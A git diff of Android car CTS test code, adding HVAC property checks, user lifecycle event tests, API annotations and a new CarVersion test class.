+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_SEAT_VENTILATION,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossiblyDependentOnHvacPowerOn().requireMinMaxValues()
+ .requireMinValuesToBeZero().build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testHvacDualOnIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_DUAL_ON,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).setPossiblyDependentOnHvacPowerOn().setAreaIdsVerifier(
+ areaIds -> {
+ CarPropertyConfig<?> hvacTempSetCarPropertyConfig =
+ mCarPropertyManager.getCarPropertyConfig(
+ VehiclePropertyIds.HVAC_TEMPERATURE_SET);
+ if (hvacTempSetCarPropertyConfig == null) {
+ return;
+ }
+ ImmutableSet<Integer> hvacTempSetAreaIds = ImmutableSet.copyOf(
+ Arrays.stream(
+ hvacTempSetCarPropertyConfig.getAreaIds()).boxed().collect(
+ Collectors.toList()));
+ ImmutableSet.Builder<Integer> allPossibleHvacDualOnAreaIdsBuilder =
+ ImmutableSet.builder();
+ for (int i = 2; i <= hvacTempSetAreaIds.size(); i++) {
+ allPossibleHvacDualOnAreaIdsBuilder.addAll(Sets.combinations(
+ hvacTempSetAreaIds, i).stream().map(areaIdCombo -> {
+ Integer possibleHvacDualOnAreaId = 0;
+ for (Integer areaId : areaIdCombo) {
+ possibleHvacDualOnAreaId |= areaId;
+ }
+ return possibleHvacDualOnAreaId;
+ }).collect(Collectors.toList()));
+ }
+ ImmutableSet<Integer> allPossibleHvacDualOnAreaIds =
+ allPossibleHvacDualOnAreaIdsBuilder.build();
+ for (int areaId : areaIds) {
+ assertWithMessage("HVAC_DUAL_ON area ID: " + areaId
+ + " must be a combination of HVAC_TEMPERATURE_SET area IDs: "
+ + Arrays.toString(
+ hvacTempSetCarPropertyConfig.getAreaIds())).that(areaId).isIn(
+ allPossibleHvacDualOnAreaIds);
+
+ }
+ }).build().verify(mCarPropertyManager);
+ });
+ }
@SuppressWarnings("unchecked")
@Test
@@ -1080,7 +2745,17 @@
// Test for continuous properties
int vehicleSpeed = VehiclePropertyIds.PERF_VEHICLE_SPEED;
- CarPropertyEventCounter speedListenerUI = new CarPropertyEventCounter();
+ CarPropertyConfig<?> carPropertyConfig = mCarPropertyManager.getCarPropertyConfig(
+ VehiclePropertyIds.PERF_VEHICLE_SPEED);
+ float secondsToMillis = 1_000;
+ long bufferMillis = 1_000; // 1 second
+ // timeoutMillis is set to the maximum expected time needed to receive the required
+ // number of PERF_VEHICLE_SPEED events for test. If the test does not receive the
+ // required number of events before the timeout expires, it fails.
+ long timeoutMillis =
+ ((long) ((1.0f / carPropertyConfig.getMinSampleRate()) * secondsToMillis
+ * UI_RATE_EVENT_COUNTER)) + bufferMillis;
+ CarPropertyEventCounter speedListenerUI = new CarPropertyEventCounter(timeoutMillis);
CarPropertyEventCounter speedListenerFast = new CarPropertyEventCounter();
assertThat(speedListenerUI.receivedEvent(vehicleSpeed)).isEqualTo(NO_EVENTS);
@@ -1090,22 +2765,22 @@
assertThat(speedListenerFast.receivedError(vehicleSpeed)).isEqualTo(NO_EVENTS);
assertThat(speedListenerFast.receivedErrorWithErrorCode(vehicleSpeed)).isEqualTo(NO_EVENTS);
+ speedListenerUI.resetCountDownLatch(UI_RATE_EVENT_COUNTER);
mCarPropertyManager.registerCallback(speedListenerUI, vehicleSpeed,
CarPropertyManager.SENSOR_RATE_UI);
mCarPropertyManager.registerCallback(speedListenerFast, vehicleSpeed,
CarPropertyManager.SENSOR_RATE_FASTEST);
- speedListenerUI.resetCountDownLatch(UI_RATE_EVENT_COUNTER);
speedListenerUI.assertOnChangeEventCalled();
+ mCarPropertyManager.unregisterCallback(speedListenerUI);
+ mCarPropertyManager.unregisterCallback(speedListenerFast);
+
assertThat(speedListenerUI.receivedEvent(vehicleSpeed)).isGreaterThan(NO_EVENTS);
- assertThat(speedListenerFast.receivedEvent(vehicleSpeed)).isGreaterThan(
+ assertThat(speedListenerFast.receivedEvent(vehicleSpeed)).isAtLeast(
speedListenerUI.receivedEvent(vehicleSpeed));
// The test did not change property values, it should not get error with error codes.
assertThat(speedListenerUI.receivedErrorWithErrorCode(vehicleSpeed)).isEqualTo(NO_EVENTS);
assertThat(speedListenerFast.receivedErrorWithErrorCode(vehicleSpeed)).isEqualTo(NO_EVENTS);
- mCarPropertyManager.unregisterCallback(speedListenerFast);
- mCarPropertyManager.unregisterCallback(speedListenerUI);
-
// Test for on_change properties
int nightMode = VehiclePropertyIds.NIGHT_MODE;
CarPropertyEventCounter nightModeListener = new CarPropertyEventCounter();
@@ -1114,7 +2789,6 @@
nightModeListener.assertOnChangeEventCalled();
assertThat(nightModeListener.receivedEvent(nightMode)).isEqualTo(1);
mCarPropertyManager.unregisterCallback(nightModeListener);
-
}
@Test
@@ -1157,7 +2831,7 @@
@Test
public void testUnregisterWithPropertyId() throws Exception {
// Ignores the test if wheel_tick property does not exist in the car.
- Assume.assumeTrue("WheelTick is not available, skip unregisterCallback test",
+ assumeTrue("WheelTick is not available, skip unregisterCallback test",
mCarPropertyManager.isPropertyAvailable(
VehiclePropertyIds.WHEEL_TICK, VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL));
@@ -1170,7 +2844,7 @@
int eventCounter = getCounterBySampleRate(maxSampleRateHz);
// Ignores the test if sampleRates for properties are too low.
- Assume.assumeTrue("The SampleRates for properties are too low, "
+ assumeTrue("The SampleRates for properties are too low, "
+ "skip testUnregisterWithPropertyId test", eventCounter != 0);
CarPropertyEventCounter speedAndWheelTicksListener = new CarPropertyEventCounter();
@@ -1239,6 +2913,15 @@
private final SparseArray<Integer> mErrorWithErrorCodeCounter = new SparseArray<>();
private int mCounter = FAST_OR_FASTEST_EVENT_COUNTER;
private CountDownLatch mCountDownLatch = new CountDownLatch(mCounter);
+ private final long mTimeoutMillis;
+
+ CarPropertyEventCounter(long timeoutMillis) {
+ mTimeoutMillis = timeoutMillis;
+ }
+
+ CarPropertyEventCounter() {
+ this(WAIT_CALLBACK);
+ }
public int receivedEvent(int propId) {
int val;
@@ -1295,18 +2978,19 @@
}
public void assertOnChangeEventCalled() throws InterruptedException {
- if (!mCountDownLatch.await(WAIT_CALLBACK, TimeUnit.MILLISECONDS)) {
- throw new IllegalStateException("Callback is not called:" + mCounter + "times in "
- + WAIT_CALLBACK + " ms.");
+ if (!mCountDownLatch.await(mTimeoutMillis, TimeUnit.MILLISECONDS)) {
+ throw new IllegalStateException(
+ "Callback is not called " + mCounter + "times in " + mTimeoutMillis
+ + " ms. It was only called " + (mCounter
+ - mCountDownLatch.getCount()) + " times.");
}
}
public void assertOnChangeEventNotCalled() throws InterruptedException {
// Once get an event, fail the test.
mCountDownLatch = new CountDownLatch(1);
- if (mCountDownLatch.await(WAIT_CALLBACK, TimeUnit.MILLISECONDS)) {
- throw new IllegalStateException("Callback is called in "
- + WAIT_CALLBACK + " ms.");
+ if (mCountDownLatch.await(mTimeoutMillis, TimeUnit.MILLISECONDS)) {
+ throw new IllegalStateException("Callback is called in " + mTimeoutMillis + " ms.");
}
}
diff --git a/tests/tests/car/src/android/car/cts/CarServiceHelperServiceUpdatableTest.java b/tests/tests/car/src/android/car/cts/CarServiceHelperServiceUpdatableTest.java
index 0b744d8..3948687 100644
--- a/tests/tests/car/src/android/car/cts/CarServiceHelperServiceUpdatableTest.java
+++ b/tests/tests/car/src/android/car/cts/CarServiceHelperServiceUpdatableTest.java
@@ -25,6 +25,12 @@
import android.app.UiAutomation;
import android.car.Car;
+import android.car.annotation.ApiRequirements;
+import android.car.test.ApiCheckerRule;
+import android.car.test.ApiCheckerRule.IgnoreInvalidApi;
+import android.car.test.ApiCheckerRule.SupportedVersionTest;
+import android.car.test.ApiCheckerRule.UnsupportedVersionTest;
+import android.car.test.ApiCheckerRule.UnsupportedVersionTest.Behavior;
import android.car.user.CarUserManager;
import android.car.user.CarUserManager.UserLifecycleEvent;
import android.car.user.CarUserManager.UserLifecycleListener;
@@ -32,15 +38,18 @@
import android.os.NewUserResponse;
import android.os.ParcelFileDescriptor;
import android.os.SystemClock;
+import android.os.UserHandle;
import android.os.UserManager;
import android.util.Log;
-import androidx.test.filters.FlakyTest;
import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.SystemUtil;
import org.junit.Before;
+import org.junit.Rule;
import org.junit.Test;
import java.io.BufferedReader;
@@ -57,6 +66,11 @@
private static final int TIMEOUT_MS = 60_000;
private static final int WAIT_TIME_MS = 1_000;
+ // TODO(b/242350638): move to super class (although it would need to call
+ // disableAnnotationsCheck()
+ @Rule
+ public final ApiCheckerRule mApiCheckerRule = new ApiCheckerRule.Builder().build();
+
@Before
public void setUp() throws Exception {
super.setUp();
@@ -64,45 +78,131 @@
}
@Test
+ @ApiTest(apis = {"com.android.internal.car.CarServiceHelperService#dump(PrintWriter,String[])"})
+ @IgnoreInvalidApi(reason = "Class not in classpath as it's indirectly tested using dumpsys")
+ @ApiRequirements(minCarVersion = ApiRequirements.CarVersion.TIRAMISU_0,
+ minPlatformVersion = ApiRequirements.PlatformVersion.TIRAMISU_0)
public void testCarServiceHelperServiceDump() throws Exception {
- assumeThat("System_server_dumper not implemented.",
- executeShellCommand("service check system_server_dumper"),
- containsStringIgnoringCase("system_server_dumper: found"));
+ assumeSystemServerDumpSupported();
assertWithMessage("System server dumper")
.that(executeShellCommand("dumpsys system_server_dumper --list"))
.contains("CarServiceHelper");
+ }
+
+ @Test
+ @ApiTest(apis = {
+ "com.android.internal.car.CarServiceHelperServiceUpdatable#dump(PrintWriter,String[])"
+ })
+ @IgnoreInvalidApi(reason = "Class not in classpath as it's indirectly tested using dumpsys")
+ @ApiRequirements(minCarVersion = ApiRequirements.CarVersion.TIRAMISU_0,
+ minPlatformVersion = ApiRequirements.PlatformVersion.TIRAMISU_0)
+ public void testCarServiceHelperServiceDump_carServiceProxy() throws Exception {
+ assumeSystemServerDumpSupported();
assertWithMessage("CarServiceHelperService dump")
.that(executeShellCommand("dumpsys system_server_dumper --name CarServiceHelper"))
.contains("CarServiceProxy");
+ }
- // Test setSafeMode
- try {
- executeShellCommand("cmd car_service emulate-driving-state drive");
-
- assertWithMessage("CarServiceHelperService dump")
- .that(executeShellCommand(
- "dumpsys system_server_dumper --name CarServiceHelper"))
- .contains("Safe to run device policy operations: false");
- } finally {
- executeShellCommand("cmd car_service emulate-driving-state park");
- }
+ @Test
+ @ApiTest(apis = {
+ "com.android.internal.car.CarServiceHelperServiceUpdatable#dump(PrintWriter,String[])"
+ })
+ @IgnoreInvalidApi(reason = "Class not in classpath as it's indirectly tested using dumpsys")
+ @ApiRequirements(minCarVersion = ApiRequirements.CarVersion.TIRAMISU_0,
+ minPlatformVersion = ApiRequirements.PlatformVersion.TIRAMISU_0)
+ public void testCarServiceHelperServiceDump_serviceStacks() throws Exception {
+ assumeSystemServerDumpSupported();
assertWithMessage("CarServiceHelperService dump")
- .that(executeShellCommand("dumpsys system_server_dumper --name CarServiceHelper"))
- .contains("Safe to run device policy operations: true");
-
- // Test dumpServiceStacks
- assertWithMessage("CarServiceHelperService dump")
- .that(executeShellCommand("dumpsys system_server_dumper --name CarServiceHelper"
- + " --dump-service-stacks"))
+ .that(dumpCarServiceHelper("--dump-service-stacks"))
.contains("dumpServiceStacks ANR file path=/data/anr/anr_");
}
+ @Test
+ @ApiTest(apis = {"android.car.user.CarUserManager#USER_LIFECYCLE_EVENT_TYPE_CREATED"})
+ @SupportedVersionTest(unsupportedVersionTest =
+ "testSendUserLifecycleEventAndOnUserCreated_unsupportedVersion")
+ public void testSendUserLifecycleEventAndOnUserCreated_supportedVersion() throws Exception {
+ testSendUserLifecycleEventAndOnUserCreated(/*onSupportedVersion=*/ true);
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.user.CarUserManager#USER_LIFECYCLE_EVENT_TYPE_CREATED"})
+ @UnsupportedVersionTest(behavior = Behavior.EXPECT_PASS,
+ supportedVersionTest = "testSendUserLifecycleEventAndOnUserCreated_supportedVersion")
+ public void testSendUserLifecycleEventAndOnUserCreated_unsupportedVersion() throws Exception {
+ testSendUserLifecycleEventAndOnUserCreated(/*onSupportedVersion=*/ false);
+ }
+
+ private void testSendUserLifecycleEventAndOnUserCreated(boolean onSupportedVersion)
+ throws Exception {
+ // Add listener to check if user started
+ CarUserManager carUserManager = (CarUserManager) getCar()
+ .getCarManager(Car.CAR_USER_SERVICE);
+ LifecycleListener listener = new LifecycleListener();
+ carUserManager.addListener(Runnable::run, listener);
+
+ NewUserResponse response = null;
+ UserManager userManager = null;
+ try {
+ // get create User permissions
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity(android.Manifest.permission.CREATE_USERS);
+
+ // CreateUser
+ userManager = mContext.getSystemService(UserManager.class);
+ response = userManager.createUser(new NewUserRequest.Builder().build());
+ assertThat(response.isSuccessful()).isTrue();
+
+ int userId = response.getUser().getIdentifier();
+
+ if (onSupportedVersion) {
+ listener.assertEventReceived(
+ userId, CarUserManager.USER_LIFECYCLE_EVENT_TYPE_CREATED);
+ // check the dump stack
+ assertUserLifecycleEventLogged(
+ CarUserManager.USER_LIFECYCLE_EVENT_TYPE_CREATED, userId);
+ } else {
+ listener.assertEventNotReceived(
+ userId, CarUserManager.USER_LIFECYCLE_EVENT_TYPE_CREATED);
+ }
+ } finally {
+ // Clean up the user that was previously created.
+ userManager.removeUser(response.getUser());
+ carUserManager.removeListener(listener);
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
+ }
+
@FlakyTest(bugId = 222167696)
@Test
- public void testSendUserLifecycleEventAndOnUserRemoved() throws Exception {
+ @ApiTest(apis = {"android.car.user.CarUserManager#USER_LIFECYCLE_EVENT_TYPE_REMOVED"})
+ @SupportedVersionTest(unsupportedVersionTest =
+ "testSendUserLifecycleEventAndOnUserRemoved_unsupportedVersion")
+ public void testSendUserLifecycleEventAndOnUserRemoved_supportedVersion() throws Exception {
+ testSendUserLifecycleEventAndOnUserRemoved(/*onSupportedVersion=*/ true);
+ }
+
+ @FlakyTest(bugId = 222167696)
+ @Test
+ @ApiTest(apis = {"android.car.user.CarUserManager#USER_LIFECYCLE_EVENT_TYPE_REMOVED"})
+ @UnsupportedVersionTest(behavior = Behavior.EXPECT_PASS,
+ supportedVersionTest = "testSendUserLifecycleEventAndOnUserRemoved_supportedVersion")
+ public void testSendUserLifecycleEventAndOnUserRemoved_unsupportedVersion() throws Exception {
+ testSendUserLifecycleEventAndOnUserRemoved(/*onSupportedVersion=*/ false);
+ }
+
+ private static void assumeSystemServerDumpSupported() throws IOException {
+ assumeThat("System_server_dumper not implemented.",
+ executeShellCommand("service check system_server_dumper"),
+ containsStringIgnoringCase("system_server_dumper: found"));
+ }
+
+ private void testSendUserLifecycleEventAndOnUserRemoved(boolean onSupportedVersion)
+ throws Exception {
// Add listener to check if user started
CarUserManager carUserManager = (CarUserManager) getCar()
.getCarManager(Car.CAR_USER_SERVICE);
@@ -125,11 +225,23 @@
int userId = response.getUser().getIdentifier();
startUser(userId);
listener.assertEventReceived(userId, CarUserManager.USER_LIFECYCLE_EVENT_TYPE_STARTING);
+ // check the dump stack
+ assertUserLifecycleEventLogged(CarUserManager.USER_LIFECYCLE_EVENT_TYPE_STARTING,
+ userId);
// TestOnUserRemoved call
userRemoved = userManager.removeUser(response.getUser());
- // check the dump stack
- assertLastUserRemoved(userId);
+
+ if (onSupportedVersion) {
+ listener.assertEventReceived(
+ userId, CarUserManager.USER_LIFECYCLE_EVENT_TYPE_REMOVED);
+ // check the dump stack
+ assertUserLifecycleEventLogged(
+ CarUserManager.USER_LIFECYCLE_EVENT_TYPE_REMOVED, userId);
+ } else {
+ listener.assertEventNotReceived(
+ userId, CarUserManager.USER_LIFECYCLE_EVENT_TYPE_REMOVED);
+ }
} finally {
if (!userRemoved && response != null && response.isSuccessful()) {
userManager.removeUser(response.getUser());
@@ -140,11 +252,17 @@
}
}
- private void assertLastUserRemoved(int userId) throws Exception {
+ private void assertUserLifecycleEventLogged(int eventType, int userId) throws Exception {
+ assertUserLifecycleEventLogged(eventType, UserHandle.USER_NULL, userId);
+ }
+
+ private void assertUserLifecycleEventLogged(int eventType, int fromUserId, int toUserId)
+ throws Exception {
// check for the logcat
// TODO(b/210874444): Use logcat helper from
// cts/tests/tests/car_builtin/src/android/car/cts/builtin/util/LogcatHelper.java
- String match = "car_service_on_user_removed: " + userId;
+ String match = String.format("car_service_on_user_lifecycle: [%d,%d,%d]", eventType,
+ fromUserId, toUserId);
long timeout = 60_000;
long startTime = SystemClock.elapsedRealtime();
UiAutomation automation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
@@ -169,6 +287,15 @@
}
+ private String dumpCarServiceHelper(String...args) throws IOException {
+ StringBuilder cmd = new StringBuilder(
+ "dumpsys system_server_dumper --name CarServiceHelper");
+ for (String arg : args) {
+ cmd.append(' ').append(arg);
+ }
+ return executeShellCommand(cmd.toString());
+ }
+
// TODO(214100537): Improve listener by removing sleep.
private final class LifecycleListener implements UserLifecycleListener {
@@ -197,6 +324,20 @@
fail("Event" + eventType + " was not received within timeoutMs: " + TIMEOUT_MS);
}
+
+ public void assertEventNotReceived(int userId, int eventType)
+ throws InterruptedException {
+ long startTime = SystemClock.elapsedRealtime();
+ while (SystemClock.elapsedRealtime() - startTime < TIMEOUT_MS) {
+ boolean result = checkEvent(userId, eventType);
+ if (result) {
+ fail("Event" + eventType
+ + " was not expected but was received within timeoutMs: " + TIMEOUT_MS);
+ }
+ Thread.sleep(WAIT_TIME_MS);
+ }
+ }
+
private boolean checkEvent(int userId, int eventType) {
synchronized (mLock) {
for (int i = 0; i < mEvents.size(); i++) {
diff --git a/tests/tests/car/src/android/car/cts/CarTest.java b/tests/tests/car/src/android/car/cts/CarTest.java
index 3c9fff5..b75217d 100644
--- a/tests/tests/car/src/android/car/cts/CarTest.java
+++ b/tests/tests/car/src/android/car/cts/CarTest.java
@@ -17,26 +17,34 @@
package android.car.cts;
import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
import android.car.Car;
+import android.car.CarVersion;
+import android.car.PlatformVersion;
+import android.car.test.ApiCheckerRule;
import android.content.ComponentName;
import android.content.Context;
import android.content.ServiceConnection;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.IBinder;
+import android.os.SystemProperties;
import android.platform.test.annotations.AppModeFull;
import android.test.suitebuilder.annotation.SmallTest;
+import android.text.TextUtils;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.RequiredFeatureRule;
import org.junit.After;
import org.junit.ClassRule;
+import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -52,6 +60,9 @@
public static final RequiredFeatureRule sRequiredFeatureRule = new RequiredFeatureRule(
PackageManager.FEATURE_AUTOMOTIVE);
+ @Rule
+ public final ApiCheckerRule mApiCheckerRule = new ApiCheckerRule.Builder().build();
+
private static final long DEFAULT_WAIT_TIMEOUT_MS = 2000;
private Context mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
@@ -66,6 +77,9 @@
}
}
+ @ApiTest(apis = {
+ "android.car.Car#isConnected", "android.car.Car#isConnecting", "android.car.Car#connect"
+ })
@Test
public void testConnection() throws Exception {
mServiceConnectionListener = new DefaultServiceConnectionListener();
@@ -81,24 +95,28 @@
assertThat(mCar.isConnecting()).isFalse();
}
+ @ApiTest(apis = {"android.car.Car#createCar(Context)"})
@Test
public void testBlockingCreateCar() throws Exception {
mCar = Car.createCar(mContext);
assertConnectedCar(mCar);
}
+ @ApiTest(apis = {"android.car.Car#getCarConnectionType"})
@Test
public void testConnectionType() throws Exception {
createCarAndRunOnReady((car) -> assertThat(car.getCarConnectionType()).isEqualTo(
Car.CONNECTION_TYPE_EMBEDDED));
}
+ @ApiTest(apis = {"android.car.Car#isFeatureEnabled(String)"})
@Test
public void testIsFeatureEnabled() throws Exception {
createCarAndRunOnReady(
(car) -> assertThat(car.isFeatureEnabled(Car.AUDIO_SERVICE)).isTrue());
}
+ @ApiTest(apis = {"android.car.Car#createCar(Context,Handler,long,CarServiceLifecycleListener)"})
@Test
public void testCreateCarWaitForever() throws Exception {
CarServiceLifecycleListenerImpl listenerImpl = new CarServiceLifecycleListenerImpl(null);
@@ -108,6 +126,7 @@
listenerImpl.waitForReady(DEFAULT_WAIT_TIMEOUT_MS);
}
+ @ApiTest(apis = {"android.car.Car#createCar(Context,Handler,long,CarServiceLifecycleListener)"})
@Test
public void testCreateCarNoWait() throws Exception {
CarServiceLifecycleListenerImpl listenerImpl = new CarServiceLifecycleListenerImpl(null);
@@ -120,6 +139,8 @@
}
@Test
+ @ApiTest(apis = {"android.car.Car#isApiVersionAtLeast(int)",
+ "android.car.Car#isApiAndPlatformVersionAtLeast(int,int)"})
public void testApiVersion() throws Exception {
int ApiVersionTooHigh = 1000000;
int MinorApiVersionTooHigh = 1000000;
@@ -144,6 +165,40 @@
Car.API_VERSION_MINOR_INT, Build.VERSION.SDK_INT + 1)).isFalse();
}
+ @ApiTest(apis = {"android.car.Car#getCarVersion"})
+ @Test
+ public void testGetCarVersion() {
+ CarVersion version = Car.getCarVersion();
+
+ assertWithMessage("Car.getCarVersion()").that(version).isNotNull();
+ assertWithMessage("Car.getCarVersion().toString()").that(version.toString())
+ .contains("name=Car.CAR_VERSION");
+ }
+
+ @ApiTest(apis = {"android.car.Car#getPlatformVersion"})
+ @Test
+ public void testGetPlatformVersion() {
+ PlatformVersion version = Car.getPlatformVersion();
+
+ assertWithMessage("Car.getPlatformVersion()").that(version).isNotNull();
+ assertWithMessage("Car.getPlatformVersion().toString()").that(version.toString())
+ .contains("name=Car.PLATFORM_VERSION");
+ }
+
+ @ApiTest(apis = {"android.car.Car#getPlatformVersion"})
+ @Test
+ public void testPlatformVersionIsNotEmulated() {
+ assertSystemPropertyNotSet(Car.PROPERTY_EMULATED_PLATFORM_VERSION_MAJOR);
+ assertSystemPropertyNotSet(Car.PROPERTY_EMULATED_PLATFORM_VERSION_MINOR);
+ }
+
+ private void assertSystemPropertyNotSet(String property) {
+ String value = SystemProperties.get(property);
+ if (!TextUtils.isEmpty(value)) {
+ throw new AssertionError("Property '" + property + "' is set; value is " + value);
+ }
+ }
+
private static void assertConnectedCar(Car car) {
assertThat(car).isNotNull();
assertThat(car.isConnected()).isTrue();
diff --git a/tests/tests/car/src/android/car/cts/CarVersionTest.java b/tests/tests/car/src/android/car/cts/CarVersionTest.java
new file mode 100644
index 0000000..4317a0b
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/CarVersionTest.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.car.cts;
+
+import static android.os.Build.VERSION_CODES.TIRAMISU;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.car.CarVersion;
+import android.car.annotation.ApiRequirements;
+import android.os.Parcel;
+
+import com.android.compatibility.common.util.ApiTest;
+
+import org.junit.Test;
+
+public final class CarVersionTest extends AbstractCarLessTestCase {
+
+ @Test
+ @ApiTest(apis = {"android.car.CarVersion.VERSION_CODES#TIRAMISU_0"})
+ public void testTiramisu_0() {
+ CarVersion version = CarVersion.VERSION_CODES.TIRAMISU_0;
+
+ assertWithMessage("TIRAMISU_0").that(version).isNotNull();
+ expectWithMessage("TIRAMISU_0.major").that(version.getMajorVersion())
+ .isEqualTo(TIRAMISU);
+ expectWithMessage("TIRAMISU_0.minor").that(version.getMinorVersion())
+ .isEqualTo(0);
+
+ CarVersion fromEnum = ApiRequirements.CarVersion.TIRAMISU_0.get();
+ assertWithMessage("TIRAMISU_0 from enum").that(fromEnum).isNotNull();
+ expectWithMessage("TIRAMISU_0 from enum").that(fromEnum).isSameInstanceAs(version);
+
+ String toString = version.toString();
+ expectWithMessage("TIRAMISU_0.toString()").that(toString)
+ .matches(".*CarVersion.*name=TIRAMISU_0.*major=" + TIRAMISU + ".*minor=0.*");
+ CarVersion clone = clone(version);
+ expectWithMessage("TIRAMISU_0.toString() from parcel").that(clone.toString())
+ .isEqualTo(toString);
+
+ CarVersion anonymous = CarVersion.forMajorAndMinorVersions(version.getMajorVersion(),
+ version.getMinorVersion());
+ expectWithMessage("TIRAMISU_0").that(version).isEqualTo(anonymous);
+ expectWithMessage("anonymous").that(anonymous).isEqualTo(version);
+ expectWithMessage("TIRAMISU_0's hashcode").that(version.hashCode())
+ .isEqualTo(anonymous.hashCode());
+ expectWithMessage("anonymous' hashcode").that(anonymous.hashCode())
+ .isEqualTo(version.hashCode());
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.CarVersion.VERSION_CODES#TIRAMISU_1"})
+ public void testTiramisu_1() {
+ CarVersion version = CarVersion.VERSION_CODES.TIRAMISU_1;
+
+ assertWithMessage("TIRAMISU_1").that(version).isNotNull();
+ expectWithMessage("TIRAMISU_1.major").that(version.getMajorVersion())
+ .isEqualTo(TIRAMISU);
+ expectWithMessage("TIRAMISU_1.minor").that(version.getMinorVersion())
+ .isEqualTo(1);
+
+ CarVersion fromEnum = ApiRequirements.CarVersion.TIRAMISU_1.get();
+ assertWithMessage("TIRAMISU_1 from enum").that(fromEnum).isNotNull();
+ expectWithMessage("TIRAMISU_1 from enum").that(fromEnum).isSameInstanceAs(version);
+
+ String toString = version.toString();
+ expectWithMessage("TIRAMISU_1.toString()").that(toString)
+ .matches(".*CarVersion.*name=TIRAMISU_1.*major=" + TIRAMISU + ".*minor=1.*");
+ CarVersion clone = clone(version);
+ expectWithMessage("TIRAMISU_1.toString() from parcel").that(clone.toString())
+ .isEqualTo(toString);
+
+ CarVersion anonymous = CarVersion.forMajorAndMinorVersions(version.getMajorVersion(),
+ version.getMinorVersion());
+ expectWithMessage("TIRAMISU_1").that(version).isEqualTo(anonymous);
+ expectWithMessage("anonymous").that(anonymous).isEqualTo(version);
+ expectWithMessage("TIRAMISU_1's hashcode").that(version.hashCode())
+ .isEqualTo(anonymous.hashCode());
+ expectWithMessage("anonymous' hashcode").that(anonymous.hashCode())
+ .isEqualTo(version.hashCode());
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.CarVersion#CREATOR"})
+ public void testMarshalling() {
+ CarVersion original = CarVersion.forMajorAndMinorVersions(66, 6);
+ expectWithMessage("original.describeContents()").that(original.describeContents())
+ .isEqualTo(0);
+
+ CarVersion clone = clone(original);
+ assertWithMessage("CREATOR.createFromParcel()").that(clone).isNotNull();
+ expectWithMessage("clone.major").that(clone.getMajorVersion()).isEqualTo(66);
+ expectWithMessage("clone.minor").that(clone.getMinorVersion()).isEqualTo(6);
+ expectWithMessage("clone.describeContents()").that(clone.describeContents()).isEqualTo(0);
+ expectWithMessage("clone.equals()").that(clone).isEqualTo(original);
+ expectWithMessage("clone.hashCode()").that(clone.hashCode()).isEqualTo(original.hashCode());
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.CarVersion#CREATOR"})
+ public void testNewArray() {
+ CarVersion[] array = CarVersion.CREATOR.newArray(42);
+
+ assertWithMessage("CREATOR.newArray()").that(array).isNotNull();
+ expectWithMessage("CREATOR.newArray()").that(array).hasLength(42);
+ }
+
+ private CarVersion clone(CarVersion original) {
+ Parcel parcel = Parcel.obtain();
+ try {
+ original.writeToParcel(parcel, /* flags= */ 0);
+ parcel.setDataPosition(0);
+
+ return CarVersion.CREATOR.createFromParcel(parcel);
+ } finally {
+ parcel.recycle();
+ }
+ }
+}
diff --git a/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java b/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java
index 7f24d48..f3c8fc5 100644
--- a/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java
+++ b/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java
@@ -16,13 +16,14 @@
package android.car.cts;
+import static android.car.PlatformVersion.VERSION_CODES;
+
import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
-import static org.junit.Assume.assumeTrue;
-
+import android.car.Car;
import android.content.Context;
import android.content.pm.PackageManager;
import android.os.Process;
